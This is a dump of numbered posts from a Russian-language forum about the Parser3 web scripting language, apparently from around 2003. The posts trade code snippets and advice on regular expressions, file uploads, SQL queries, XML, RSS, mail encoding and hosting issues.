"19194","Или вы всё же придирались к моему английскому написанию, и я зря старался? ;-) \
http://parser.mojo.ru/"
"19195","Создайте внутри if-а переменную со значением \
$file_name[$form:mp3.name]\
и дальше используйте именно ее потому как\
^form:mp3.save[binary;$form:mp3.name] \
такая конструкция сробатывает не всегда.\
С чем это связано не знаю, но сам неоднократно на этом попадался. Выдается ошибка в неправильности метода save..."
"19196","то действительно маркетологам было бы интересно сколько раз в день поситили этот сайт чтобы гарантировано обещать показы рекламодателям (не факт что вы бы эти показы видели).\
Но раз проект таким не является, то и статистика посещений здесь не актуальна.\
Не знаю как другие, я лично в течении дня раз 20 захожу. А в процессе создания чего-либа на Parser еще чаще, т.к. пользуюсь исключительно только on-line версией документации."
"19197","мне кажется, вместо заявлений \"такая конструкция сробатывает не всегда\" стоит писать \"такая конструкция у меня сробатывает не всегда\" или пытаться разобраться, что и почему."
"19200","http://parser3.fatal.ru/?number=111111\
http://parser3.fatal.ru/?number=11111111111"
"19201","$text[^text.match[(.+?\\b)\\s(.*?)][]{$match.1 <img> $match.2}]\
сделал так - работает, но оптимально ли это?"
"19202","чем больше скобок (запоминания в матче) - тем больше расход памяти, в твоем случае лучше написать например так:\
[code]\
$text[^text.match[^^(\\w+?)\\b][]{$match.1 <img> }]\
[/code]\
\
далее, можно придумать вариант с ^строка.pos[], ^строка.left(x) и ^строка.right/mid(x), однако я не уверен, что стОит городить подобный огород, т.к. мне кажется, что он не будет значительно эффективнее, а визуально сложнее будет однозначно."
"19205","Есть таблица $answers в которой хранятся данные для голосования, в т.ч. и результаты.\
\
У меня такая вот проблема. Надо вывести результаты. Общее число голосов хранится в переменной $voters\
Делаю так:\
^answers.menu{\
^eval($answers.results*100/$voters)[%.0f]%\
}\
Естественно все ок. Но если написать так\
^answers.menu{\
^eval($answers.results*100/$voters)[%.0f]%<br>\
^eval($answers.results*100/$voters)[%.0f]%\
}\
то выводятся только последние два из трех значений. В чем причина?"
"19206","например, если я у формы не напишу нужный enctype... или если я его напишу, но перед постингом не перегружу форму. или если я ошибусь и напишу например так: $form.fieldname.name\
\
идеологически конструкции $form:fieldname.name и $var[$form:fieldname]$var.name - идентичны, поэтому я не вижу смысла использовать более сложную и громоздкую конструкцию.\
\
бага в этом месте я не видел (а уж поверьте, я в очень многих местах гружу файлики с помощью формы). и если баг увидели вы, то вместо того, чтобы добавлять сложностей лучше внимательно посмотрите на все, выделите его в чистом виде и ссылку на страничку с багом ПАФ-у - будет больше пользы."
"19207","Разобрался. Как всегда сам проглядел ошибочку"
"19208","Решил с локалки затестить код на сервере бесплатного хоcтинга fatal.ru...\
\
Такое ощущение, что на fatal.ru неправильно указан DocumentRoot потому, что конструкция:\
[code]\
$rules[^table::load[/rules.cfg]]\
[/code]\
выдвет ошибку:\
[code]\
... '/www/rules.cfg' read failed: No such file or directory (2), actual filename '/www/rules.cfg' [file.missing][/code]\
[b]или я ошибаюсь?[/b] Если использовать:\
[code]\
$rules[^table::load[/домен/site/rules.cfg]]\
[/code]\
, то все Ок..."
"19210","в файлах:\
[code]http://www.parser.ru/f/1/download/freebsd/parser3conf_1_0_20030724_unix.tar.gz[/code] и \
[code]http://www.parser.ru/f/1/download/freebsd/parser3conf_0_8_20030724_unix.tar.gz[/code]\
\
нету файлов описания кодировок, хотя должны быть %)"
"19213","зачем две новые версии и в чём отличие?"
"19215","не ясно, зачем выпущены две версии? разве нельзя было написать различия: эту версию ставить затем-то, а эту для другого.."
"19216","Скоро начну весь код перелопачивать на очередную оптимитизацию и под новый парсер. Все это проштудирую и специально это отмечу. Если появиться ошибки и я их не пойму, сообщу)"
"19218","Я год назад на хохе пытался что-то делать, так и плюнул. Ужас что было(((((. Сразу понял, что значит платный хостинг по сравнению с бесплатным."
"19221","$page_total(4)\
\
[code]\
### Условие\
^if($order eq desc){\
	$i($page_total)\
	$operation{^i.dec[]}\
	$condition{$i >= 1}\
}{\
	$i(1)\
	$operation{^i.inc[]}\
	$condition{$i <= $page_total}\
}\
### генерация счетчика\
^while($condition){\
	<$tagItem num=\"$i\" offset=\"$page_total-1\"/>\
	$operation\
}\
[/code]\
\
дает вот это:\
\
invalid number (double)\
1 <= 4"
"19223","[code]\
$condition{$i <= $page_total}\
[/code]\
\
=>\
\
[code]\
$condition{^if($i <= $page_total){1}{0}}\
[/code]\
\
и еще... попробуй почитать в доке это: http://www.parser.ru/docs/lang/definemethod.htm\
\
"
"19224","ze_fobos@mail.ru\
icq 109146847"
"19225","При запуске parser3.cgi идёт ошибка: [b]/lib/libc.so.6: version `GLIBC_2.2.4' not found (required by ./parser3.cgi)[/b]\
Как решить проблему?"
"19226","Отвечают же довольно быстро, почему бы у них не спросить? ;-)\
P. S. Сдаётся мне, что они уж слишком долго не обновляли своё ПО..."
"19227","Первый, это да... спасибо...\
\
А второй - это максимум значения достигает - больше никак :)"
"19228","Если это намёк в сторону моего описания kombat.ru, так я там сам же давно не сижу - разонравилось там; перетащил на корпоративный вебсервер. Куда приятнее стало :) Машинку проваёдера не поконфигурируешь, а тут делов-то - застать админа в хорошем настроении :)"
"19229","Я им пару вопросов сам задавал, отвечали много быстрее, чем конкуренты (net.ru), которые по выходным решают \"только срочные проблемы или аварийные ситуации\". ;-) С combat.ru мы разошлись во взглядах на версии программного обеспечения и на вариантах оплаты..."
"19230","Вроде у меня тоже наклевывается интеграция 1с: и веба. (с 1спредприятия надо выборочные базы выложить) Правда я еще ничего толком не придумал.\
Вот и подвернулась возможность позадовать вопросов :-)\
\
Если я правильно понял, то вы экспорт делаете встроенным 1с-языком, а уже готовый ХМЛ парсите парсером, да?\
Если да, то нельзя ли поподробнее пооткровенничать про методу экспорта (что - то специальное 1с-овское использовали, использовали ли CommerceML итд.). \
Любому ответу буду рад! Thanks"
"19231","Слишком неожиданно всё получилось. Спрошу конечно, отвечают они и правда быстро..."
"19233","^str.match[\"(\\b)][g]{&laquo^;$match.1} - пытаюсь заменить все кавычки слева на елочки - почему-то не меняет.  Другие стандартные матчи (см. копилку рег. выр) работают.\
В чём может быть  проблема?"
"19234","я бы использовал предустановленную, но там не сказанна какая версия установленна..."
"19235","http://www.egoroff.spb.ru/ не работает. И один из моих сайтов тоже. Самое интересное, что два других (под парсером есс-но) работают. Отчего это?"
"19236","Попробуйте заменить index.html или что там у вас на обычный HTML документ, так вы узнаете вообще работает ли у вас web сервер.\
\
После этого попробуйте пообщпться с тех поддержкой хостинга.\
\
Вообще судя по тому что mail.egoroff.spb.ru функционирует проблема может быть не в web сервере а вего настройках.\
\
Или админ с бадуна удалил index.html или ещё что ;)\
\
Вообще надо приводить логи чтоб профи могли ответить.\
\
\
Воспримите написанное выше как советы от ламера."
"19237","Там Parser/3.0.0007\
\
DOCUMENT_ROOT действительно корявый, исправить это можно, написав свой wrapper, который будет подставлять правильную переменную окружения. Для предустановленной версии это уже сделано."
"19238","вот так я меняю левые кавычки на лапки, охватыает примерно 90% случаев.\
[code]\
@typograf[intxt]\
$1intxt[^intxt.match[([\"„“])(\\w)][g]{&laquo^;${match.2}}]\
$2intxt[^1intxt.match[ \"| „| “][g]{ &laquo^;}]\
...\
[/code]"
"19239","Когда я посылаю себе сообщение, $.subject[…] и $.text[…] приходят нормально, а вот $.from[…] и $.to[…] приходят в виде =?windows-1251?Q?=D1=E0=E9=F2…\
Как от этого избавиться?"
"19241","Что значит из дополнительной части? Я пишу: $.from[Сайт]\
приходит письмо, где в поле From: =?windows-1251?Q?=D1=E0=E9=F2\
Мне нужно чтобы в поле From было слово \"Сайт\"."
"19242","Это грубое нарушение стандартов, в частности - RFC822.\
=?windows-1251?Q?=D1=E0=E9=F2 - это ваше слово \"Сайт\" в кодировке quoted-printable. Любой почтовый клиент должен уметь её отображать."
"19243","А как согласно этому стандарту нужно написать, чтобы все нормально отобразилось?\
Я знаю, что это слово \"Сайт\". Вы не поверите, но The Bat, видимо, не умеет."
"19244","У меня почему-то парсер не понимает мнимые символы \\b и \\w.\
\
[code]\
$str[^str.match[([\"„“])(\\w)][g]{&laquo^;${match.2}}]\
$str[^str.match[([\"„“])(\\b)][g]{&laquo^;${match.2}}]\
#$str[^str.match[ \"| „| “][g]{ &laquo^;}]\
\
$str[^str.match[(\\w)([\"„“])][g]{${match.1}&raquo^;}]\
#$str[^str.match[\" |„ |“ ][g]{&raquo^; }]\
$str[^str.match[(\\b)([\"„“])][g]{${match.1}&raquo^;}]\
[/code]\
\
То есть, если я напишу \"Привет\", то будет \"Привет\", а если \"Hello\",  то будет «Hello» - понимаются только слова латиницей\
Как с этим бороться?"
"19245","[code]$request:charset[кодировка][/code]"
"19246","Возможно, что-то там админы хачат..."
"19247","Сам попробовал, если убрать кодировку из auto.p пример не работает.\
Поэтому ставьте:\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
и все будет работать нормально...\
\
Не забудьте разместить кнопочку \"[url=\"http://www.spearance.ru/parser3/regex/about/\"]Выражаюсь регулярно[/url]\" со ссылкой на страницу, будет очень приятно."
"19248","поставлю на локалхосте :)"
"19249","Подскажите пожалуйста\
я понимаю, как делать замены кавычек,  тире и всего такого прочего на их html-эквиваленты, но как отслеживать кавычки и знаки <> в коде\
То есть меня интересует принцип\
1. сначала меняем все кавычки на ёлочки\
2. а потом меняем те елочки, которые в урлах, альтах, размерах и  т.д\
или как?"
"19253","Доброй ночи ..\
У меня вопрос такой \
По поиску в форуме нашёл много интересного\
но вот \
как мне зделать так (не могу понять) что б соббщения из базы брались не с 1......N   а с N..........1 и показыались в том же порядке..\
Заранее огромное спосибо......."
"19254","в конце запроса нужно добавить desc и тогда всё будет задом наперёд\
[code]\
$news[^table::sql{select \
       date, header, body  \
   from \
      news  \
   where \
      date='${now.year}-${now.month}-$day'\
   desc \
}]\
[/code]"
"19256","чтобы определить кавычки внутри тега вам придется делать в регулярном выражении и в самом коде Parser-а кучу проверок.\
Самое простое:\
<a href...>\
< a href...>\
или\
<b>1 < 2</b>\
Тут для начала нужно построить дерево тегов, проанализировать все возможные комбинации:\
кстати возможны и такие случаи\
<b><i>текст</b></i>\
а потом уже ставить кавычки...\
Хотя, если вы пишете это для своего кода, в котором не будут прикладываться кривые руки секретарш, то анализатор будет заметно проще. \
Теперь о подходе, их всего два.\
Заменить сначала все кавычки на елочки (лапки), а потом вычленить кавычки атрибутов.\
Либо сразу писать выражение с опережающей проверкой, которое будет проверять является ли значение в кавычках атрибутом тега, к примеру вот по такой конструкции...\
\\=\\s*\".+\"\
В целом задача сложная, и именно ей я сейчас и занимаюсь.\
\
P.S. Какой бы не был крутой анализатор, всегда нужно дать возможность поправить вручную."
"19257","да схема именно такая:\
есть ert-шка, которая экспортирует только нужные мне базы в XML.\
Потом уже XML преобразую XSL+parser-ом в HMTL.\
\
CommerceML штука очень интересная, но ее пока не использую.\
В будущем мб. Когда понадобится обратная связь в формате 1С, т.е.\
чтобы юзер на сайте выписывал себе счета и получал с сайта\
коммерческие предложения.\
У нас политика партии такая, что цен на сайте нет, цель сайта - побудить клиента к контакту с манагером или к заявке в эл.форме)."
"19258","Возможно вы правы, тем более что тексты не особо больших размеров и у меня нет физических проблем с памятью :)\
Единственно что меня интересует -  правильно ли я написал регулярное выражение. Т.е. те ли группы символов использовал?"
"19259","Однако там была проблема с памятью процесса, - в течение дня он был 8 Мб, но потом это было исправлено.\
\
Да и ещё, - новые версии парсера собранные в Студии там не работают, брать мои если надо, они точно работают."
"19260","мусоросборник вещь экспериментальная, поэтому видимо решили сделать 2 версии. Тем более что его использование вызывает некоторые накладные расходы, хотя иногда он очень полезен."
"19261","1. одним матчем вырезают теги с аттрибутами по шаблону, причем вырезают их так, чтобы вырезанные теги оказались в отдельной таблице, а в исходном месте остался какой-нить идентификатор, позволяющий произвести обратную замену.\
2. делают пачку матчей, производящих необходимые замены в тексте (не тегах, т.к. тгов у нас уже нету тут)\
3. делают обратную замену, вставляя теги на место.\
\
маленький пример (не для всех тэгов, а для js)\
[code]\
$str[тут то, что обрабатываем]\
\
# шаблон для выкусывания js\
$jspattern[<script.+?</script>]\
\
# ищем все вхождения и запоминаем их в таблице $js\
$js[^str.match[($jspattern)][gi]]\
\
^if($js){\
#	если что-то было найдено, то матчим еще раз и заменяем каждое вхождение\
#	на строку {js} (должно быть по возможности уникальным.\
#	если в исходном тексте встретится такая последовательность, то будет плохо :)\
	$str[^str.match[($jspattern)][gi]{{js}}]\
}\
\
#	<<< тут вставляем пачку матчей в которых делаем с нашей $str что душе угодно\
\
# возвращаем на место javascript-ы\
^if($js){\
	$str[^str.match[{js}][g]{$js.1^js.offset(1)}]\
}\
[/code]\
"
"19262","короче, нет смысла ставить. кому этот сборщик нужен? не думаю, что кто-то на парсере делает серьёзные сайты с кучей классов."
"19263","Причем мне он (да и не только мне), оказался как раз в кассу - на net.ru чего-то нахимичили с памятью процесса, и мне пришлось им пользоваться, для того чтобы работали некоторые большие документы.\
\
Впрочем он нужен и для форума, где расход памяти тоже немаленький."
"19266","Добрый день!\
\
подскажите, плз, какие существуют пути решения следующей задачи:\
\
в веб-анкете есть вопросы с ответами и полем \"другое\". Как сделать так, что бы при попытке пользователя отметить точкой этот пункт (type=\"radio\"), активировалось текстовое поле для ввода пользователем вручную своего ответа?\
\
спасибо"
"19268","...что нужно сделать форму для добавления текстов в базу данных. При этом используются псевдо тэги (ссылок, цвета текста  и т.д)\
\
Так вот, проблема в том, что обработка псевдо тгов накладывается на обработку кавычек"
"19270","Помогите пожалуйста ламеру в этом деле!\
Вот такая ситуация:\
Есть xml в нем есть ветвь /document/main/ (например), а в ней\
<para>первая строка</para>\
... \
<para>последняя строка</para>\
\
Как их отобразить без помощи xsl?\
\
во всех примерах я видел что-то типа:\
^for[i](0;$list-1){\
   ^list.[$i].getAttribute[title]\
}\
Но это действует только на аттрибуты ( <hh tt=\"jj\" /> )\
Помогите, а то поиском по форуму не нашел."
"19271","Юзаю читалку RSS: http://www.activerefresh.com/abilon.php\
\
Ибо весьма некузяво смотриться в ней этот форум."
"19272","почитаешь статьи и спецификации будет одной доки парсера достаточно.\
А вт сбственно и код:\
[code]\
\
$xml[<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<list name=\"Simple list\">\
	<item>id текст</item>\
	<item>art дрова</item>\
	<item>name федор</item>\
	<item>ves большой</item>\
	<item>ed мальнькая</item>\
	<item>prise достойная</item>\
</list>\
]\
\
$document[^xdoc::create{$xml}]\
$list[^document.select[/list/item]]\
^for[i](0;$list-1){\
	$node[$list.$i]\
	^eval($i+1).Текст узла[$node.nodeName]: $node.firstChild.nodeValue<br/>\
#	сдесь можно их обработать(например в хэш пихнуть).\
}\
\
[/code]\
\
Результат у меня такой:\
\
1.Текст узла[item]: id текст\
2.Текст узла[item]: art дрова\
3.Текст узла[item]: name федор\
4.Текст узла[item]: ves большой\
5.Текст узла[item]: ed мальнькая\
6.Текст узла[item]: prise достойная"
"19273","если напишите, что именно нужно изменить - изменю (если конечно это не все переделать)"
"19274","Ну так вы не моглиб ошибку найти у меня сообщения не считывает задом на перд!!!!!!\
\
#коннектимя к базе для покказа сообщений\
<hr>\
\
<b><h1>Гостевая</h1></b> \
^connect[$connect_string]{ \
   $news[^table::sql{select \
       id, date, header, body  \
   from \
      book \
#сюда добавляю 'desc'(не получаеться)\
 desc\
 }] \
\
^if($news){ \
\
^news.menu{ \
\
\
# показ сообщений из базы...\
\
\
\
<center>\
\
\
<table border=\"0\" width=\"810\" bgcolor=\"black\">\
    <tr>\
        <td width=\"20\" height=\"24\" align=\"center\" bgcolor=\"white\">\
            <p>$news.id </p>\
        </td>\
        <td width=\"120\" height=\"24\" align=\"center\" bgcolor=\"white\">\
            <p>Имя</p>\
        </td>\
        <td width=\"356\" height=\"27\" align=\"center\" valign=\"top\" bgcolor=\"white\">\
            <p>$news.header</p>\
        </td>\
    </tr>\
    <tr>\
        <td width=\"144\" height=\"106\" align=\"center\" valign=\"top\" colspan=\"2\" bgcolor=\"white\">\
            <p>Картинка или что там </p>\
        </td>\
        <td width=\"356\" height=\"135\" valign=\"top\" rowspan=\"2\" bgcolor=\"white\">\
            <p>^untaint{$news.body}</p>\
        </td>\
    </tr>\
    <tr>\
        <td width=\"144\" height=\"24\" align=\"center\" valign=\"top\" colspan=\"2\" bgcolor=\"white\">\
            <p>$news.date</p>\
        </td>\
    </tr>\
</table>\
</center>\
<hr>"
"19275","закрываю тему, чтобы никто не ответил.\
\
форум не отменяет чтения документации, к тому-же русскоязычной."
"19276","Спасибо брат! Не такой ужя ламер! Писал тотже код и ошибся на одну букву. А насчет DOM'a — там както непомнятно всё описано..."
"19278","Если еще сам не сделал...\
\
<b><h1>Гостевая</h1></b> \
^connect[$connect_string]{ \
$news[^table::sql{select \
id, date, header, body \
from \
book \
ORDER BY `ID` DESC\
}] \
\
^if($news){ \
\
^news.menu{ \
\
\
# показ сообщений из базы...\
\
\
\
<center>\
\
\
<table border=\"0\" width=\"810\" bgcolor=\"black\">\
<tr>\
<td width=\"20\" height=\"24\" align=\"center\" bgcolor=\"white\">\
<p>$news.id </p>\
</td>\
<td width=\"120\" height=\"24\" align=\"center\" bgcolor=\"white\">\
<p>Имя</p>\
</td>\
<td width=\"356\" height=\"27\" align=\"center\" valign=\"top\" bgcolor=\"white\">\
<p>$news.header</p>\
</td>\
</tr>\
<tr>\
<td width=\"144\" height=\"106\" align=\"center\" valign=\"top\" colspan=\"2\" bgcolor=\"white\">\
<p>Картинка или что там </p>\
</td>\
<td width=\"356\" height=\"135\" valign=\"top\" rowspan=\"2\" bgcolor=\"white\">\
<p>^untaint{$news.body}</p>\
</td>\
</tr>\
<tr>\
<td width=\"144\" height=\"24\" align=\"center\" valign=\"top\" colspan=\"2\" bgcolor=\"white\">\
<p>$news.date</p>\
</td>\
</tr>\
</table>\
</center>\
<hr>"
"19279","правильно мыслиш! Вот ещё вопрос:\
где найти примеры скрипта генерящего надписи + шрифты в гифах?"
"19281","Создаю элементарную страницу...\
[code]\
@main[]\
^rusage[Начало]\
\
#######\
@rusage[comment][v;now;prefix;message;line]\
$v[$status:rusage]\
$now[^date::now[]]\
$usec(^v.tv_usec.double[])\
$prefix[^now.sql-string[].^usec.format[%06.0f]	$env:REMOTE_ADDR	$comment]\
$message[$v.utime	$v.stime	$v.maxrss	$request:uri]\
$line[$prefix	$message^#0A]\
^line.save[append;/rusage.log]\
$rusage(1)\
$result[]\
#end @rusage[]\
[/code]\
\
И вижу, что $v.utime равна 0.01-0.03, правда 0.03 чаще почему так? \
Для примера на спектаторе(регистер) страница целиком генерируется за столькоже..., если не ошибаюсь\
\
Четь не забыл...\
WinXP, CGI 3.1.0"
"19283","...запуск CGI, а на Spectator.ru используется PHP в виде модуля апача. Сравнивай модульный вариант парсера с модульным вариантом PHP - другая цифирь будет)))"
"19284","Результат прямо противоположный - с ним (сюрприз) медленее! Точные цифры дать не могу, потому как для модуля 3.1 у меня вылазит:\
[code]\
class is undefined\
\
status\
[/code]\
Однако тормоза видны прямо на глаз - время формирования страницы, по субъективным ощущениям, увеличилось раза в 4."
"19285","Но чтобы CGI был быстрее модуля... Это ОЧЕНЬ странно..."
"19286","Попробовал специально, чтобы проверить твою догадку :)\
\
А ещё странне для меня было то, что replace до 10 раз медленнее match в 3.1"
"19287","[quote]\
Точные цифры дать не могу, потому как для модуля 3.1 у меня вылазит:\
\
class is undefined\
status\
[/quote]"
"19289","CGI\
[code]\
№ 	Время 	IP адрес 	Время формирования страницы 	Работа postprocess 	Время дисковых операций 	Блоки памяти 	URL\
1 	5.8.2003 12:16:10 	192.168.1.199: 	0.375 	0.109375 	0.140625 	7680 	/company/\
[/code]\
Модуль\
[code]\
№ 	Время 	IP адрес 	Время формирования страницы 	Работа postprocess 	Время дисковых операций 	Блоки памяти 	URL\
5 	5.8.2003 12:15:15 	192.168.1.199: 	3.35938 	0.29688 	0.96875 	12348 	/company/\
[/code]\
\
Почти в 10 раз медленнее получается"
"19290","... SQL-соединения, XSLT-шаблоны там, еще чего нибудь.\
\
Возможно, при нескольких запросах подряд картина была бы немного другой, хотя... почти в 10 раз медленнее, странно. =|\
\
P.S. а зато postprocess в 1,5 раза быстрее... ;)"
"19291","Я проверял до 3.0.5 включительно.\
\
Что касаемо postprocess - вы ошибаетесь, он медленнее:\
\
CGI = 0.109375 сек\
Module = 0.29688 сек\
\
Такие дела."
"19295","Скажите пожалуйста, нельзя ли каким-нибудь образом выводить больше записей из форума на одну  страницу.\
25 штук - это, по-моему, очень  мало, в некоторых случаях удобнее смотреть по 100-200\
\
может сделать так, чтобы пользователь мог настроить форум под себя?\
или хотя бы немножко изменить запросы страниц, т.к. нынешние - что редактируй, что не редактируй - пользы не будет:\
Ну там, например\
http://www.parser.ru/forum/?page=133&col=250"
"19296","слегка туповат - действительно, настройки форума есть.\
не стояла галочка \"запомнить\"\
\
но всё-равно прикольно, когда строка выглядит\
http://www.parser.ru/forum/?page=133&col=250"
"19297","пользуйтесь Яндексом, хорошая штука.\
Я там даже \"современных геростратов\" одно время искал. А сперва тоже думал на форуме спросить...  :)"
"19298","без регистрации не додумаешься\
?limit=1000"
"19300","1. зачем стоит ограничение, если не секрет\
2. почему,  если написать http://www.parser.ru/forum/?limit=100000&page=1, то выведется только эти самые последние 80 (ссылки внизу на другие страницы исчезают)"
"19302","1. см. ответ egr-а\
2. потому, что если кто-то хочет что-то вписать куда-то руками, а не использует предоставляемые ему интерфейсы, то меня совершенно не заботят особенности отображения/глюки, которые у него возникают, если они не проявляют себя как дырки в безопасности и не вызывают 500 ошибок или иных exceptions."
"19303","стандартный текст про «что ожидаете, что получаете, кусок кода» skipped.\
\
тривиальный тест работает… вероятно, вас какой-то другой случай интересует.\
[code]\
$t[^table::create{a	b\
a	3\
a	4\
}]\
\
$x[^t.locate[a;a;\
	$.reverse(1)\
]]\
\
$t.b\
[/code]"
"19304","берем как пример это:\
http://blogs.law.harvard.edu/tech/xml/rss.xml"
"19305","и ввожу \"количество отображаемых записей 100000\". А он выводит только 80 тредов. \
я же не знал сначала,  что только 80 можно"
"19306","а про то, что нету сообщений о превышении лимита - да, забыл, на досуге поправлю."
"19307","можете указать мне, какие [b]обязательные[/b] для RSS 2.0 тэги я не включил в выдаваемый на данном сервере xml? (когда я делал я делал его по документации, но за ненадобностью держать все это в голове после того, как сделал - не стал)\
\
можете указать мне, какие тэги жаждет видеть ваш rss reader? если эти данные у нас есть - запросто буду отдавать их."
"19309","Задача, на первый взгляд весьма странная: \
\
ВОПРОС можно ли как -либо достать полный путь до файла пришедшего из  <INPUT type=\"file\">, если файл НЕ из веб пространства, а с винта ?\
\
Делаю так: Сначала получаем имя файла <INPUT name=\"imgpath\" type=\"file\">\
причем интересует именно файл вне веб-пространства, а именно tiff-ы с портфолио.\
\
Далее я этот файл ImageMagick-ом (под WInXP convert.exe) ресайзаю в нужные размеры (prewiew + 700x1000) и в нужные каталги раскладываю для онлайнового портфолио (уже внутри веб-пространства)  \
\
по  $form.imgpath.name - получаю только имя файла, а надо именно имя с путем типа (F:\\bla-bla\\oneme\\portofolid.tiff)\
\
PS Сохранять $qw[$form:imgpath] ^qw.save[binary; filename.tiff] не хочется не красиво как то получается\
PS ^file:fullpath and ^file:basename естесвенно не помогают\
\
PPS Машина: парсер 3.07 WinXP + локальная  Apach + ImagMAgi binary..."
"19310","Помогите плиз с загрузкой файлов на сервер.\
Код ниже записывает файл с указанным именем, но он не открывается и сохраняется с другим размером.\
\
<form method=\"post\" enctype=\"multipart/form-data\"> \
<input type=\"file\" name=\"image\"> \
<input type=\"submit\"> \
</form> \
\
^if(def $form:image){ \
^form:image.save[binary;image.gif]\
}\
\
Спасибо"
"19311","... у меня ваш код работает и сохраняет всё правильно. Первая мысль, которая пришла, что вызываеться не то что сохранено. Попробуйте указать полный путь к сохраняемому файлу, чтобы быть уверенным, что работаете с нужным файлом. И ещё, приведите код вызова изображения."
"19313","вам же будет легче разбираться откуда берется файл и куда он реально пишется..."
"19314","если под инициализацией подразумевается создание объекта данного класса, то это принципиально невозможно, нигде, т.е. ни в каком другом языке."
"19315","У меня вроде дома есть и 3.1 для linix, собранный собственноручно Выкладывать его не стал потому как тут он есть, но как оказывается нерабочий на других хостингах"
"19316","А может стоит попробовать сувать весь description в CDATA?"
"19318","В работе rusage в модуле под Windows есть некоторые ограничения, в частности, utime показывает время для процесса целиком.\
Для получения примерной статистики для конкретной страницы можно взять utime в начале и в конце страницы, и затем вывести разность."
"19319","Лезем в доку и читаем: (http://www.parser.ru/docs/lang/opprocess.htm)\
[quote]^process[контекст]{строка} \
Строка будет скомпилирована и выполнена как код на Parser, в указанном контексте, или в текущем контексте. \
В качестве контекста можно указать объект или класс. [/quote]\
Итого:\
[code]@method[]\
aaa\
\
@main[]\
^method[]\
^process{@method[]\
bbb}\
^method[][/code]\
даст \"aaa bbb\", то есть - переопределение метода...\
\
но это пользовательский метод/класс. к системному классу - нельзя - получим parser.runtime"
"19320","но по-моему это шаманство. И вообще - зачем это может понадобиться?\
\
Да и ещё - это приведёт к кошмару в сопровождении и отладке мало мальски большого кода, поскольку никогда не сможешь предсказать что же делает данный метод в конкретный момент вермени, ибо поведение метода может изменяться во время выполнения."
"19321","Ибо тело сообщения форума отображается в ридере с корявками."
"19322","[code]\
<rss version=\"2.0\" xmlns:dc=\"http://purl.org/dc/elements/1.1/\">\
	<channel>\
		<title>Parser forum</title>\
		<link>www.parser.ru/forum/</link>\
		<description>Обсуждение. Форум.</description>\
<item rdf:about=\"линк на тред\">\
		<title>Заголовок топика</title>\
		<description>Короткое описание</description>\
		<link>Линк на тред</link>\
		<dc:date>Дата сообщения (формат не играет роли)</dc:date>\
	    <dc:type>forum message</dc:type>\
	    <dc:creator>автор треда</dc:creator>\
	    <dc:subject>см. топик</dc:subject>\
	    <content:encoded>[<![CDATA[тело сообщения]]></content:encoded>\
	</item>	</channel>\
	</rss>\
\
[/code]\
\
по-моему так.\
а формат действительно очень удобный, юзать рекомменовано."
"19323","В моей базе две таблицы, у обеих есть поле doc_id. В первой doc_id уникален, во второй - нет (может быть много строк с одинаковым doc_id, мне нужно выбрать ту, у которой значение поля revision_date - самое новое из имеющихся). Как это реализовать?\
\
[b]Update: вопрос решил самостоятельно. Сорри за беспокойство.[/b]"
"19324","Что-то никак в голову не придет как реализовать список находящихся в чате."
"19325","[code]^MAIN:dbconnect{\
	$sqlpage[^table::sql{\
		SELECT \
			site_content.id,  \
			site_content.doc_id,  \
			site_content.page_title,  \
			site_content.page_body,  \
			site_content.is_code,  \
			site_content.keywords,  \
			site_content.description,  \
			site_content.add_css,  \
			site_content.allow_robots,  \
			site_content.template,  \
			site_content.revision,  \
			site_content.notes,  \
			site_content.author,  \
			site_content.ipaddr,  \
			site_doctree.doc_id, \
			site_doctree.orderidx,  \
			site_doctree.parent_id,  \
			site_doctree.thread_id,  \
			site_doctree.is_locked,  \
			site_doctree.lang,  \
			site_doctree.filename,  \
			site_doctree.fullpath,  \
			site_doctree.itemtype,  \
			site_doctree.is_deleted,  \
#			site_doctree.notes,  \
			site_doctree.access,  \
#			site_doctree.author,  \
#			site_doctree.ipaddr,  \
			site_doctree.in_menu,  \
			site_doctree.is_cached\
		FROM site_content, site_doctree WHERE site_doctree.doc_id = site_content.doc_id AND\
		site_doctree.fullpath = \"${uri}\"	AND\
		site_doctree.lang = \"${page_lang}\"\
		ORDER BY site_content.revision DESC\
	}[$.limit(1)]]\
}\
\
^sqlpage.count[]\
\
^rem{$sqlpage.id <br>\
$sqlpage.doc_id <br>\
$sqlpage.page_title <br>\
$sqlpage.page_body <br>\
$sqlpage.is_code <br>\
$sqlpage.keywords <br>\
$sqlpage.description <br>\
$sqlpage.add_css <br>\
$sqlpage.allow_robots <br>\
$sqlpage.template <br>\
$sqlpage.revision <br>\
$sqlpage.notes <br>\
$sqlpage.author <br>\
$sqlpage.ipaddr <br>\
$sqlpage.doc_id <br>\
$sqlpage.orderidx <br>\
$sqlpage.parent_id <br>\
$sqlpage.thread_id <br>\
$sqlpage.is_locked <br>\
$sqlpage.lang <br>\
$sqlpage.filename <br>\
$sqlpage.fullpath <br>\
$sqlpage.itemtype <br>\
$sqlpage.is_deleted <br>\
$sqlpage.notes <br>\
$sqlpage.access <br>\
$sqlpage.author <br>\
$sqlpage.ipaddr <br>\
$sqlpage.in_menu <br>\
$sqlpage.is_cached <br>\
}\
[/code]\
\
Код в SQLFront выполняется на ура, выборка делается расчудесно. Только вот если убрать ^rem{}, Parser начнёт вякать про \"column not found\". Как так не found, если есть она, в MySQLFront своими глазами вижу! \"SELECT site_content.id AS id\" не помогает - всё то же column not found."
"19327","можно, например, как файлик на сервере"
"19328","в /test.cfg сохраняет \
\
[b]id	doc_id	page_title	page_body	is_code	keywords	description	add_css	allow_robots	template	revision	notes	author	ipaddr	doc_id	orderidx	parent_id	thread_id	is_locked	lang	filename	fullpath	itemtype	is_deleted	access	in_menu	is_cached[/b]<line break>[b]\
1	1	About GfK	About us ^eval(2*2) 	yes	about, gfk	about gfk		yes	default	0000-00-00 00:00:00		Sanja	Not detected	1	1	0	1	no	ru	about	/about/	page	no	all	yes	60[/b]\
\
то есть столбцы на месте. Почему парсер их не видит в таблице - не понимаю."
"19329","Читаем куку - добавляем с дистинктом в хэш (вместе с временем последнего чтения). Хэш выводим как список. Если время последнего чтения больше некоторого таймаута - удаляем из хэша."
"19330","Что-то поменял (не пойму, что) и оно заработало..."
"19331","Эти варианты я уже думал - получается вышедший висит \"аки зомби\" до таймаута, а делать рефреши слишком часто - зло. Человек, не чатящийся две минуты, явление частое и народ может ему вовсю писать, его \"вжэ нэма\". \
Хотя, судя по всему, приходится делать именно так."
